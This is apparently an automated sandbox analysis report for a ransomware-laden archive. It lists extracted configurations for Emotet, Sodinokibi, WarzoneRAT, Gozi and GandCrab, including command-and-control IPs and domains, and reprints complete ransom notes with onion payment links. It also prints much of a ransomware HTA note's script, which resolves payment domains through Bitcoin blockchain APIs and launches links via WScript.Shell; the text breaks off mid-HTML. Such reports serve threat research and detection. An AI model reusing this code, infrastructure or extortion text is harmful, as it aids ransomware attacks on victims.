Analysis
- max time kernel
362s - max time network
363s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
07/11/2024, 16:14
General
- Target RNSM00367.7z
- Size 22.7MB
- Sample241107-tp2gvsvmat
- SHA256 191e22ebc970d41dd9dfae0d33555bbd6328b03ec5e7dcf047b3020ca31b9ade
Score
10/10
Malware Config
Extracted
Family
-
emotet
Botnet
-
Epoch2
C2
-
81.109.227.123:80
-
82.15.36.209:443
-
142.4.198.249:7080
-
162.144.119.216:8080
-
142.93.88.16:443
-
31.12.67.62:7080
-
91.83.93.103:7080
-
178.152.78.149:20
-
104.131.208.175:8080
-
136.243.177.26:8080
-
206.189.98.125:8080
-
178.79.161.166:443
-
195.242.117.231:8080
-
187.163.222.244:465
-
186.144.64.31:53
-
104.236.99.225:8080
-
71.244.60.230:8080
-
91.205.215.66:8080
-
212.71.234.16:8080
-
190.25.255.98:443
rsa_pubkey.plain
Extracted
Family
-
sodinokibi
Botnet
-
20
Campaign
-
46
Decoy
-
aberdeenartwalk.org
-
happycatering.de
-
amyandzac.com
-
livedeveloper.com
-
alexwenzel.de
-
trainiumacademy.com
-
nuohous.com
-
epsondriversforwindows.com
-
slideevents.be
-
skooppi.fi
-
golfclublandgoednieuwkerk.nl
-
santastoy.store
-
mieleshopping.it
-
innovationgames-brabant.nl
-
ideamode.com
-
internalresults.com
-
mondolandscapes.com
-
axisoflove.org:443
-
adaduga.info
-
jlwilsonbooks.com
Attributes
-
net
true
-
pid
20
-
prc
sqlservr.exe
mysql.exe
-
ransom_oneliner
All of your files are encrypted! Find {EXT}-readme.txt and follow instuctions
-
ransom_template
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion {EXT}. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID} 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/{UID} Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: {KEY} Extension name: {EXT} ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
-
sub
46
Extracted
Family
-
warzonerat
C2
-
maine007.hopto.org:5200
Extracted
Path
-
C:\$Recycle.Bin\WAVZI-DECRYPT.txt
Ransom Note
- ---= GANDCRAB V5.0 =--- Attention! All your files, documents, photos, databases and other important files are encrypted and have the extension: .WAVZI The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files. The server with your key is in a closed network TOR. You can get there by the following ways: ---------------------------------------------------------------------------------------- | 0. Download Tor browser - https://www.torproject.org/ | 1. Install Tor browser | 2. Open Tor Browser | 3. Open link in TOR browser: http://gandcrabmfe6mnef.onion/9bb33c11cab9f1c5 | 4. Follow the instructions on this page ---------------------------------------------------------------------------------------- On our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. ATTENTION! IN ORDER TO PREVENT DATA DAMAGE: * DO NOT MODIFY ENCRYPTED FILES * DO NOT CHANGE DATA BELOW ---BEGIN GANDCRAB KEY--- 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 ---END GANDCRAB KEY--- ---BEGIN PC DATA--- wfKD6iudumBkmpL8IRr4U4exEVaoOXLtwDwmOrT1y1YWvOiWMx5GYaRdvZZQTo5RtnYe7mtWqrfZTHKHhh5qBJzzs9MC7736UkGSDDniUJJG8/LFF//kmGmoAZAGLo2j5/wd2UrxMJK+iqKhTkS3ArgAxrZOOOiXrbnhbWMkLHQnbYuWlMClYZxYU6SDxpopRo5r292AV1KIZBZV4APBuUHcKSIr2MWMI0O1MKIP2IpKLE2TS5wNmoQoAHZIP7k/TfrG1tVzlDb3jcZAB3gql9dnWN0lCD4xdg7bDNQrvH1xSi3FCw+6kfktKtizqdynr7r154JiurEmkUXB6eL2/zQ2EuslGohYbVqCBnTt/BGEEdAb9ycT4oq4Pqb3Y5NyPYz32XaispQRTRkqF1PXJPcJ15EHwNAoARPLnK8+Au5ZALyfhGEwg6hrKQ3vxBFKwg70Zi7pDxFE3vfLNuau1w8ZNHQURlWKYDmn1lvgAn90mSDf7SyGQSZnn7Ivlsuw7HIKVYbpfzf2fBccdMBnP2lNhH9TQ3fC2KZCEuHtLEigBZ9MNJGhHpcOdL/YRZoP4YksV8zuv7OczMv9MHYTh4gzvuwKRb5tB/+FbmHWs+IUXo5eM9Q99BNhaVKZ2udgzWmELVozygtVfjv5QmE= ---END PC DATA---
URLs
-
http://gandcrabmfe6mnef.onion/9bb33c11cab9f1c5
Extracted
Family
-
gozi
Extracted
Family
-
gozi
Botnet
-
1000
C2
-
vachiderk.com
-
siberponis.com
Attributes
-
exe_type
worker
-
server_id
12
rsa_pubkey.plain
serpent.plain
Extracted
Path
-
C:\Users\VEONJCZU-MANUAL.txt
-
gandcrab
Ransom Note
- ---= GANDCRAB V5.2 =--- ***********************UNDER NO CIRCUMSTANCES DO NOT DELETE THIS FILE, UNTIL ALL YOUR DATA IS RECOVERED*********************** *****FAILING TO DO SO, WILL RESULT IN YOUR SYSTEM CORRUPTION, IF THERE ARE DECRYPTION ERRORS***** Attention! All your files, documents, photos, databases and other important files are encrypted and have the extension: .VEONJCZU The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files. The server with your key is in a closed network TOR. You can get there by the following ways: ---------------------------------------------------------------------------------------- | 0. Download Tor browser - https://www.torproject.org/ | 1. Install Tor browser | 2. Open Tor Browser | 3. Open link in TOR browser: http://gandcrabmfe6mnef.onion/9bb33c11cab9f1c5 | 4. Follow the instructions on this page ---------------------------------------------------------------------------------------- On our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. ATTENTION! IN ORDER TO PREVENT DATA DAMAGE: * DO NOT MODIFY ENCRYPTED FILES * DO NOT CHANGE DATA BELOW ---BEGIN GANDCRAB KEY--- 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 ---END GANDCRAB KEY--- ---BEGIN PC DATA--- 7ftDEgLb/ZS0lcmZbHM61KDJ6AOtD78KkA7absMgUXYxWLsC+5+UYF9xVmD59MXJNJDbAveVquDMRXjIKnQXQzua3LPyzokSUuglaqKXwabsGM4pXku5In6gtMQMqg7sgEh1XW1iPMFgiUj/s1LdWpJHdiPjMpn7rCZNO/A31mak0K8RefoREu3BxtlAsseHWfVIIKN0U4NnA3w0Ga7XDLlF3iOIB6ImYbF6Z/7MBN2mgBr2rZ2gU1R7jNx2WKAyu4W+5zlHFnKwMISBi1CwemOo6FrxnP+Z5F9bSR7OvDBsmLj7oYD6GBgpBqj3RSAVfvfE0yZSXyCRtLeJdNBfBnZqrcY9R7O3MLHNmYeR3UfSP9DyqvNkLOfjXKP0r1BW4eYoT03JrPa/L0B0wffnS0ez96BFoTHFq52HPDCx6yhEudvoPVoM6iaVy+mvqAdvYbwBrtoyoS8D1fulWTmT7q54A+w4gT2wK0yub5gfz9wpLQCj3bimwDPi8jPeKPiggI2bWKz+7QkWvC2ihYFfEuZEsyM8ANzhw9QSIE71V0GZyf6MN51c1gY/++QTe24EznTbCqfrOdcnPBOVfcolLq8b/wmbcC6V7bCGEZisVbSQnNiaPkJ9b5I041HXc2vSx6IODB3F1IH8qANwhkbcxMPGvnUSm+rK ---END PC DATA---
URLs
-
http://gandcrabmfe6mnef.onion/9bb33c11cab9f1c5
Extracted
Path
-
C:\Users\3159sb8nje-readme.txt
-
sodinokibi
Ransom Note
- ---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion 3159sb8nje. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/E34383FCCAB9F1C5 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/E34383FCCAB9F1C5 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: XepGYxRH0A4ACi5yei61OfAJZ7r4e/ZpIOwpFfwFmhW9NqQ6PneI3CaGwDj8wp47 ASdc11igwXBhYtQn0TBYq7IEDsHVD3JQe33LR9gL5eRofnuptNzGqnVGivOct9TT P0Tjkmpip92G5dOyQSkU1gnuoQsRP6eajFd3OMUSpv014Qr1tU6xNEpb9d40iBEU TuNP4AbUVBvET3GRg3rpw07zFYJ1E1tTarbokuQs/LiWrUSh3tuwswh5HnW1jLaS nyjq2L7CsjCiBWO1ZIMZJzNZMkVfZLWW9wzbplFgc7q+MaafI5IsIlOykKLeuWjt U5uXgX0z0F2ygpAPsMyChvM3mGQecY1eWC3YPU1718XptSHWtVqnoEcXw7FBpgpx ivFkPwnpCQMabCT8E11moEIZYeD0sMLQOk4zful1Sks5UZ6mTecZHo7CtpEq0I5o PmQrgskx29n0z0xHOGcifwrF56LnOh3wdwQ0YI+aRcPfMlmdzOaeq7q9hS9GkE8b NlmhLKYWJWmR+vuMJnOlPGNTHsSbEoXvznzj8sksupldjzc/xvk2GAccsBunnRMn Rr2RaSvQnYbTqLq4TJKnOwMzHcytU9ZDVTlJDkljM0Kt4D5rpQEE12N5VyLT6qCK ueLUfR1of+e7asVcwBWpPvhhQCK7PHIXg0/59yYJGBrpzxDFI6IFW5WPkSEVfqV1 Ppnd5TTrHcUyihNazaxeqsA/3QUhrXsyTg2f15VvBTXCy6SLIvkwJi0CdnhaTP+m bWNYLYnfMHVVb8LLI/IYzBURKbE9Q9C4/Ns2KEkA43KeVQzV8Vd4UX4DYEheiFNA ja5h/95GXo1nOIVLEhqECqCqX4+Odo4Xp9GylN3s8MMUedN7MUseMTfBHHNiK9ZH VZEMf8qpRdvi7b4p4MTgC/YXuY9JyivN+mtTYNWKlH5IVk3ApysZev6d2Wu3Qu99 fGfH1BRGzEXBj3ma9G3yL7E6+spaA2CFLTUzBRK1iXdHhtQmVLR+wUPH/Q6iZP3G WhB68BoK4z9ctc5r+4PxPGEyXupDZmV/gF+R5xSFHOkSJWP2BqofDhiCjXEgTEtV 3il1dwfegKwt+tx4zA/DvQV9Ryunuk5jSpQJwlS27ZaAzNHV1XHQ347U1+vskGmZ 9NOPE45Lb1fQKrIH2MKiJe3GphNrzvN9Hu6BfpJYeqQ= Extension name: 3159sb8nje ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs
-
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/E34383FCCAB9F1C5
-
http://decryptor.top/E34383FCCAB9F1C5
Extracted
Path
-
C:\Users\Default\Downloads\!HELP_SOS.hta
Ransom Note
- <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Decryption Instructions</title> <HTA:APPLICATION ID='App' APPLICATIONNAME="Decryption Instructions" SCROLL="yes" SINGLEINSTANCE="yes" WINDOWSTATE="maximize"> <style> a { color: #04a; text-decoration: none; } a:hover { text-decoration: underline; } body { background-color: #e7e7e7; color: #222; font-family: "Lucida Sans Unicode", "Lucida Grande", sans-serif; font-size: 12pt; line-height: 16pt; } body, h1 { margin: 0; padding: 0; } h1 { color: #555; text-align: center; padding-bottom: 1.5em; line-height: 1.2; } h2 { color: #555; text-align: center; line-height: 1.2; } ol li { padding-bottom: 13pt; } .container { background-color: #EEE; border: 2pt solid #C7C7C7; margin: 3%; min-width: 600px; padding: 5% 10%; color: #444; } .filecontainer{ padding: 5% 10%; display: none; } .header { border-bottom: 2pt solid #c7c7c7; padding-bottom: 5%; } .hr { background: #bda; display: block; height: 2pt; margin-top: 1.5%; margin-bottom: 1.5%; overflow: hidden; width: 100%; } .key{ background-color: #A1D490; border: 1px solid #506A48; display: block; text-align: center; margin: 0.5em 0; padding: 1em 1.5em; word-wrap: break-word; } .keys{ margin: 3em 0; } .filename{ border: 3px solid #AAA; display: block; text-align: center; margin: 0.5em 0em; padding: 1em 1.5em; background-color: #DCC; } .us{ text-decoration: strong; color: #333; } .info{ background-color: #E4E4E4; padding: 0.5em 3em; margin: 1em 0; } .text{ text-align: justify; } #file{ background-color: #FCC; } .lsb{ display: none; margin: 3%; text-align: center; } .ls{ border: 1px solid #888; border-radius: 3px; padding: 0 0.5em; margin: 0.2em 0.1em; line-height: 2em; display: inline-block; } .ls:hover{ background-color: #D0D0D0; } .l{ display:none; } .lu{ display:none; } </style> <script language="vbscript"> Function GetCmd GetCmd = App.commandLine End Function </script> <script language="javascript"> function openlink(url){ new ActiveXObject("WScript.Shell").Run(url); return false; } function aIndexOf(arr, v){ for(var i = 0; i < arr.length; i++) if(arr[i] == v) return i; return -1; } function tweakClass(cl, f){ var els; if(document.getElementByClassName != null){ els = document.getElementsByClassName(cl); } else{ els = []; var tmp = document.getElementsByTagName('*'); for (var i = 0; i < tmp.length; i++){ var c = tmp[i].className; if( (c == cl) || ((c.indexOf(cl) != 1) && ((' '+c+' ').indexOf(' '+cl+' ') != -1)) ) els.push(tmp[i]); } } for(var i = 0; i < els.length; i++) f(els[i]); } function show(el){ el.style.display = 'block'; } function hide(el){ el.style.display = 'none'; } var langs = ["en","de","it","fr","es","no","pt","nl","kr","ms","zh","tr","vi","hi","jv","fa","ar"]; function setLang(lang){ if(aIndexOf(langs, lang) == -1) lang = langs[0]; for(var i = 0; i < langs.length; i++){ var clang = langs[i]; tweakClass('l-'+clang, function(el){ el.style.display = (clang == lang) ? 'block' : 'none'; }); tweakClass('ls-'+clang, function(el){ el.style.backgroundColor = (clang == lang) ? '#BBB' : ''; }); } } function newXHR() { if (window.XMLHttpRequest) return new window.XMLHttpRequest; try { return new ActiveXObject("MSXML2.XMLHTTP.3.0"); } catch(error) { return null; } } function getPage(url, cb) { try{ var xhr = newXHR(); if(!xhr) return cb('no xhr'); xhr.onreadystatechange = function() { if(xhr.readyState != 4) return; if(xhr.status != 200 || !xhr.responseText) return cb(xhr.status) cb(null, xhr.responseText); }; xhr.open("GET", url+((url.indexOf('?') == -1) ? "?" : "&") + "_=" + new Date().getTime(), true); xhr.send(); } catch(e){ cb(e); } } function decodeTxString(hex){ var m = '0123456789abcdef'; var s = ''; var c = 0xAA; hex = hex.toLowerCase(); for(var i = 0; i < hex.length; i+=2){ var a = m.indexOf(hex.charAt(i)); var b = m.indexOf(hex.charAt(i+1)); if(a == -1 || b == -1) throw hex[i]+hex[i+1]+' '+a+' '+b; s+= String.fromCharCode(c = (c ^ ((a << 4) | b))); } return s; } var OR = 'OP_RE'+'TURN '; var sources = [ {bp:'btc.b'+'lockr.i'+'o/api/v1/', txp:'tx/i'+'nfo/', adp:'add'+'ress/txs/', ptxs: function(json){ if(json.status != 'success') return null; var res = []; for(var i = 0; i < json.data.txs.length - 1; i++) res.push(json.data.txs[i].tx); return res; }, ptx: function(json){ if(json.status != 'success') return null; var os = json.data.vouts; for(var i = 0; i < os.length; i++) if(os[i].extras.asm.indexOf(OR) == 0) return decodeTxString(os[i].extras.asm.substr(10)); return null; } }, {bp:'ch'+'ain.s'+'o/api/v2/', txp:'get_t'+'x_out'+'puts/btc/', adp:'get_tx_uns'+'pent/btc/', ptxs: function(json){ if(json.status != 'success') return null; var res = []; for(var i = json.data.txs.length - 1; i >= 0; i--) res.push(json.data.txs[i].txid); return res; }, ptx: function(json){ if(json.status != 'success') return null; var os = json.data.outputs; for(var i = 0; i < os.length; i++) if(os[i].script.indexOf(OR) == 0) return decodeTxString(os[i].script.substr(10)); return null; } }, {bp:'bit'+'aps.co'+'m/api/', txp:'trans'+'action/', adp:'ad'+'dress/tra'+'nsactions/', adpb:'/0/sen'+'t/all', ptxs: function(json){ var res = []; for(var i = 0; i < json.length; i++) res.push(json[i][1]); return res; }, ptx: function(json){ var os = json.output; for(var i = 0; i < os.length; i++) if(os[i].script.asm.indexOf(OR) == 0) return decodeTxString(os[i].script.asm.substr(10)); return null; } }, {bp:'api.b'+'lockcyp'+'her.com/v1/b'+'tc/main/', txp:'txs/', adp:'addrs/', ptxs: function(json){ var res = []; var m = {}; for(var i = 0; i < json.txrefs.length; i++){ var tx = json.txrefs[i].tx_hash; if(m[tx]) continue; m[tx] = 1; res.push(tx); } return res; }, ptx: function(json){ var os = json.outputs; for(var i = 0; i < os.length; i++) if(os[i].data_hex != null) return decodeTxString(os[i].data_hex); return null; } } ]; function eachUntil(a,f,c){ var i = 0; var n = function(){ if(i >= a.length) return c('f'); f(a[i++], function(err, res){ if(err == null) return c(null, res); n(); }); }; n(); } function getJson(url, cb){ getPage(url, function(err, res){ if(err != null) return cb(err); var json; try{ if(window.JSON && window.JSON.parse){ json = window.JSON.parse(res); } else{ json = eval('('+res+')'); } } catch(e){ cb(e); } cb(null, json); }); } function getDomains(ad, cb){ eachUntil(sources, function(s, cb){ var url = 'http://'+s.bp; url+= s.adp+ad; if(s.adpb) url+= s.adpb; getJson(url, function(err, json){ if(err != null) return cb(err); try{ cb(null, s.ptxs(json)); } catch(e){ cb(e); } }); }, function(err, txs){ if(err != null) return cb(err); if(txs.length == 0) return cb('f'); eachUntil(txs, function(tx, cb){ eachUntil(sources, function(s, cb){ var url = 'http://'+s.bp+s.txp+tx; getJson(url, function(err, json){ if(err != null) return cb(err); try{ cb(null, s.ptx(json)); } catch(e){ cb(e); } }); }, function(err, res){ if(err != null) return cb(err); if(res == null) return cb('f'); cb(null, res.split(':')); }); }, cb); }); } function updateLinks(){ tweakClass('lu', hide); tweakClass('lu-updating', show); getDomains('1783wBG'+'sr'+'1zkxenfE'+'ELXA25PLSkL'+'dfJ4B7', function(err, ds){ tweakClass('lu', hide); if(err != null){ tweakClass('lu-error', show); return; } tweakClass('lu-done', show); var html = ''; for(var i = 0; i < ds.length; i++) html+= '<div class="key"><a href="http://z5dq36kjy5swjtmr.'+ds[i]+'/login/AeWTq5F-QSxXudKik4hkCRw1WezCWICl26cztcp6ir1ZdJeNSTmDiT7A" onclick="javascript:return openlink(this.href)">http://z5dq36kjy5swjtmr.'+ds[i]+'/</a></div>'; tweakClass('links', function(el){ el.innerHTML = html; }); }); return false; } function onPageLoaded(){ try{ tweakClass('lsb', show); }catch(e){} try{ tweakClass('lu-orig', show); }catch(e){} try{ setLang('en'); }catch(e){} try{ var args = GetCmd().match(/"[^"]+"|[^ ]+/g); if(args.length > 1){ var file = args[args.length-1]; if(file.charAt(0) == '"' && file.charAt(file.length-1) == '"') file = file.substr(1, file.length-2); document.getElementById('filename').innerHTML = file; show(document.getElementById('file')); document.title = 'File is encrypted'; } }catch(e){} } </script> </head> <body onload='javascript:onPageLoaded()'> <div class='lsb'> <span class='ls ls-en' onclick="javascript:return setLang('en')">English</span> <span class='ls ls-de' onclick="javascript:return setLang('de')">Deutsch</span> <span class='ls ls-it' onclick="javascript:return setLang('it')">Italiano</span> <span class='ls ls-fr' onclick="javascript:return setLang('fr')">Français</span> <span class='ls ls-es' onclick="javascript:return setLang('es')">Español</span> <span class='ls ls-no' onclick="javascript:return setLang('no')">Norsk</span> <span class='ls ls-pt' onclick="javascript:return setLang('pt')">Português</span> <span class='ls ls-nl' onclick="javascript:return setLang('nl')">Nederlands</span> <br/><span class='ls ls-kr' onclick="javascript:return setLang('kr')">한국어</span> <span class='ls ls-ms' onclick="javascript:return setLang('ms')">Bahasa Melayu</span> <span class='ls ls-zh' onclick="javascript:return setLang('zh')">中文</span> <span class='ls ls-tr' onclick="javascript:return setLang('tr')">Türkçe</span> <span class='ls ls-vi' onclick="javascript:return setLang('vi')">Tiếng Việt</span> <span class='ls ls-hi' onclick="javascript:return setLang('hi')">हिन्दी</span> <span class='ls ls-jv' onclick="javascript:return setLang('jv')">Basa Jawa</span> <span class='ls ls-fa' onclick="javascript:return setLang('fa')">فارسی</span> <span class='ls ls-ar' onclick="javascript:return setLang('ar')">العربية</span> </div> <div id='file' class='container filecontainer'> <div class='filename'> <div style='float:left; padding:18px 